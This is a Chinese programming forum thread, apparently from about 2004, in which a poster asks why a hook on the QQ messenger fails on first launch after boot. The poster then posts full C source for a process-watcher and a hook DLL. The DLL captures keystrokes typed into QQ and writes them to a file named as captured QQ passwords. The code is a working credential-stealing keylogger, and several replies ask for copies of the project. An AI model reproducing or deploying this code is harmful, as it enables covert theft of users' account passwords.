前两天刚写完的一个HOOKqq的例子.试了几次ok了.我以为搞定了..我用的是hookMessage.循环等待QQ的出现.一出现就装上购子,
哪知道今天早上一开机,问题就来了.很有趣.每次开机第一次hook.肯定拦不到第二次就开始就可以了.以后N次就完全正确.我一直认为是我的程序问题.搞了一个上午.下午想了一下.会不会是QQ问题.最后实验了N次.重启了N次.得出的结果是:每次开机就把QQ打开一次.不用输入密码.只要把那个登陆框打开然后就可以关闭.然后启动我的HOOKqq监视QQ.这之后就完全正常了.问题是出在QQ在开机后第一次启动的时候,我跟踪了.hook被正确安装.但是hook处理函数就放哑炮.没反映.不懂为什么.
补充一下,我实验了监控windows自带的计算器,毫无问题.开机第一次启动计算器就能正确拦截请高人们帮忙看看.万分感谢,

解决方案 »

  1.   

    HOOK先运行.sleep(500)循环监视QQ有没有启动.
      

  2.   

    强列要求贴出原码.或者寄出工程[email protected]
      

  3.   

    关注!我看看
    [email protected]
      

  4.   

    /*------------------------------------------------------------
       HOOKQq,WM_PAINT消息在QQ被启动之后才能被处理.
                     (c) GR.HZ.2004.1.1
      ------------------------------------------------------------*/
    #include <windows.h>
    #include <tlhelp32.h>
    #include <dll.h>
    //#define _UNICODE
    /*-------------------------------------------------------------------------------------------
    1.the32PID代表QQ进程ID
    2.n和hHookInstance变量做保留,供将来使用.
    -------------------------------------------------------------------------------------------*/
    TCHAR WarnNing[MAX_PATH] = {"源代码索取请给我来信,[email protected], BY GR.HZ"};
    DWORD the32PID = NULL;
    MSG         msg ;
    int n = 0;
    HINSTANCE hHookInstance = NULL;
    /*-------------------------------------------------------------------------------------------
    IsStrSearch函数提供比较给定程序名与系统快照所得程序名的比较.由于win2k与win98系统快照所得的程序
    名不相等.故写此函数做比较.其中参数pS表示源,pD表示目标字符.-------------------------------------------------------------------------------------------*/
    int IsStrSearch(TCHAR* pS,TCHAR* pD)
    {
    int i= 0,j = 0;
    if(NULL == pS || NULL == pD)
    return 0;
    while('\0' != *(pD + j))
    {
    if(*(pS + i) == *(pD+j))
    {  i = i + 1;
    j = j + 1;
    }
    else 
    {
    if( '\0' == *(pS+i) )
    return 0;
    if( j > 0)
    {
    j = j - 1;
    }
    i = i + 1;
    }
    }
    //if( 92 !=  *(pS + i - j -1 ) )
    //return 0;//win98专用
    if(0 != *(pS + i -j -1 ))
    return 0;//win2k专用
    return 1;
    }
    LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;
    BOOL CALLBACK EnumProcWindow(HWND hWnd,LPARAM lParam);int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
                        PSTR szCmdLine, int iCmdShow)
         {
         static char szAppName[] = "HelloWin" ;
         HWND        hwnd ;
         
         WNDCLASSEX  wndclass ;
     hHookInstance = hInstance;
          wndclass.cbSize        = sizeof (wndclass) ;
         wndclass.style         = CS_HREDRAW | CS_VREDRAW ;
         wndclass.lpfnWndProc   = WndProc ;
         wndclass.cbClsExtra    = 0 ;
         wndclass.cbWndExtra    = 0 ;
         wndclass.hInstance     = hInstance ;
         wndclass.hIcon         = LoadIcon(NULL,IDI_APPLICATION) ;
         wndclass.hCursor       = LoadCursor (NULL, IDC_ARROW) ;
         wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;
         wndclass.lpszMenuName  = NULL ;
         wndclass.lpszClassName = szAppName ;
         wndclass.hIconSm=NULL;     RegisterClassEx (&wndclass) ;     hwnd = CreateWindowEx (WS_EX_APPWINDOW ,
     szAppName,         // window class name
                "QQ篇",     // window caption
                        WS_OVERLAPPEDWINDOW,     // window style
                        CW_USEDEFAULT,           // initial x position
                        CW_USEDEFAULT,           // initial y position
                        CW_USEDEFAULT,           // initial x size
                        CW_USEDEFAULT,           // initial y size
                        NULL,                    // parent window handle
                        NULL,                    // window menu handle
                        hInstance,               // program instance handle
                NULL) ;              // creation parameters     ShowWindow (hwnd, iCmdShow) ;
         UpdateWindow (hwnd) ;     while (GetMessage (&msg, NULL, 0, 0))
              {
              TranslateMessage (&msg) ;
              DispatchMessage (&msg) ;
              }
         return msg.wParam ;
         }LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
         {

         HDC         hdc ;
         PAINTSTRUCT ps ;
         HANDLE hSnapshot = NULL;
     PROCESSENTRY32 PDB ;
     PDB.dwSize = sizeof(PROCESSENTRY32);
     TCHAR QQ[] = "QQ.exe";//win2k专用,
     
      
         switch (iMsg)
              {
              case WM_CREATE :
    while(1)//这个循环500豪秒一次.循环监视QQ是否被启动.                                                     
    {
       hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
       Process32First(hSnapshot,&PDB);
     
          if( IsStrSearch(PDB.szExeFile,QQ) )        
       {
       the32PID = PDB.th32ProcessID;
       EnumWindows(EnumProcWindow,NULL);
       CloseHandle(hSnapshot);
       break;
       }
       
       while( Process32Next(hSnapshot,&PDB) )         
       {
    if( IsStrSearch(PDB.szExeFile,QQ) )        //判断是否匹配
    {
    the32PID = PDB.th32ProcessID;
    EnumWindows(EnumProcWindow,NULL);      //匹配则枚举窗口
    CloseHandle(hSnapshot);
    return 0;
    }
       }
       CloseHandle(hSnapshot);
       Sleep(500);
       }
    return 0 ;
      
              
              case WM_PAINT :
               hdc = BeginPaint (hwnd, &ps) ;
                   TextOut(hdc,0,0,WarnNing,MAX_PATH);
       EndPaint (hwnd, &ps) ;
                   return 0 ;          case WM_DESTROY :
                   PostQuitMessage (0) ;
                   return 0 ;
              }     return DefWindowProc (hwnd, iMsg, wParam, lParam) ;
         }/*-------------------------------------------------------------------------------------------
    这个callback函数处理得到QQ进程的一个窗口.然后得到顶层窗口.根据这个窗口得当相应的线程ID.其中PID
    用来判断是否是QQ进程ID.
    -------------------------------------------------------------------------------------------*/
    BOOL CALLBACK EnumProcWindow(HWND hWnd,LPARAM lParam)
    {
    //DWORD* PID = (DWORD*)malloc(sizeof(DWORD)) ;
    DWORD PID = NULL ;
    DWORD ThreadID = NULL;
    HWND hParent = NULL;

    if( NULL != hWnd)
    { GetWindowThreadProcessId(hWnd,&PID);
    if( (NULL != the32PID) && the32PID == PID )
    {
    while(NULL != hWnd)
    {
    hParent = hWnd;
    if(NULL != hWnd)
    {
    hParent = hWnd;
    }
    hWnd = GetParent(hWnd);
    }
    ThreadID = GetWindowThreadProcessId(hParent,NULL);
    SetHookQQ(ThreadID);
    return 0;
    //DWORD error = GetLastError();
    }
    }
    else
    return 0;
    }
      

  5.   

    /*-------------------------------------------------------------------------------------------
    DLL.
    C .GR.HZ.2004.1.1
    -------------------------------------------------------------------------------------------*/#define HOOKAPI extern "C" __declspec(dllexport)
    #define MAX_ 255
    //#define _UNICODE
    #include <dll.h>#pragma data_seg("Shared")
    HHOOK hHook = NULL;
    #pragma data_seg()
    #pragma comment(linker,"/section:Shared,rws")HINSTANCE hInstance = NULL;
    TCHAR Save[MAX_] = {0};
    HANDLE hFile = NULL;
    int EnterChar = 0;  //一次按键两个消息
    int n = 0;LRESULT CALLBACK HookQQProc(int nCode,WPARAM wParam,LPARAM lParam);HOOKAPI SetHookQQ(DWORD ThreadID)
    {
    if( 0 == ThreadID)
    return 0;
    else
    {
    hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)HookQQProc,hInstance,ThreadID);
    if( 0 == hHook )
    MessageBox(NULL,"ERROR",NULL,NULL);

    }
        
    }
    /*-------------------------------------------------------------------------------------------
    Save数组放要写入的数据.截获一个加1.写入文件.

    -------------------------------------------------------------------------------------------*/LRESULT CALLBACK HookQQProc(int nCode,WPARAM wParam,LPARAM lParam)
    {
    DWORD dwSize; MSG* pMsg = (MSG*)lParam;
    switch(pMsg->message)
    {

    case WM_CHAR:
    if(0 != EnterChar)
    {
    EnterChar = 0;
    return (CallNextHookEx(hHook,nCode,wParam,lParam));
    }
    Save[n] = (TCHAR)pMsg->wParam;
    //MessageBox( NULL,&Save[n],NULL,NULL);
    hFile = CreateFile("c:\\截获的QQ密码.TXT",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
    WriteFile(hFile,Save,100,&dwSize,NULL); 

    //MessageBox(NULL,"OK",NULL,NULL);

    n = n + 1;
    EnterChar = 1;
    CloseHandle(hFile);
    return (CallNextHookEx(hHook,nCode,wParam,lParam));
    }
    }
    BOOL WINAPI DllMain(HINSTANCE hDllInstance,DWORD fdwReason,LPVOID lpvReserved)
    {
    switch(fdwReason)
    {
    case DLL_PROCESS_ATTACH:
    hInstance = hDllInstance;
    break;
    case DLL_PROCESS_DETACH:
    UnhookWindowsHookEx(hHook);
    break;
    }
    return 1;
    }
      

  6.   

    #include <windows.h>
    #ifdef HOOKAPI
    #else#define  HOOKAPI extern "C" __declspec(dllimport)#endif 
    HOOKAPI SetHookQQ(DWORD ThreadID);头文件/
    rabo(不哭死人) 兄台的邮件满了.发不过来.sky51fly(天天天蓝) ( ) 我已经把工程发过来了,
    请帮忙看一下.感激万分
      

  7.   

    肯定是qq在你hook之前就启动了
      

  8.   

    能发一份给我吗?
    [email protected]
      

  9.   

    学习啊!
    顺手也 抄送一份给我 
    Pls cc to me a copy ! [email protected]